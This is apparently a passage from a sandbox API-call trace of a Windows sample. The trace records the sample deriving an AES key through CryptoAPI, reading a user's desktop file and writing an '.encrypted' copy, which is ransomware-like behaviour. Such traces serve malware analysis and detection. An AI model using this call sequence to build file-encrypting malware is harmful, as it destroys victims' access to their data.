lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.567] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0022.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv", cchWideChar=52, lpMultiByteStr=0xe8f404ba10, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv", lpUsedDefaultChar=0x0) returned 52 [0022.569] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\mkl8.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0022.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=52, lpWideCharStr=0xe8f4062330, cchWideChar=52 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv") returned 52 [0022.569] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.570] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.570] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.570] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.570] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.570] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.570] CloseHandle (hObject=0x188) returned 1 [0022.571] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.571] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.571] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.571] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.571] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.571] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.572] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.572] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.572] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.573] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.573] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.574] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.574] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.574] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.575] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.575] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.575] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.575] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.575] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0022.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\mkl8.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.578] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.578] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\mkl8.encrypted.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.580] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.580] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.582] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x36ed, lpOverlapped=0x0) returned 1 [0022.582] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.585] 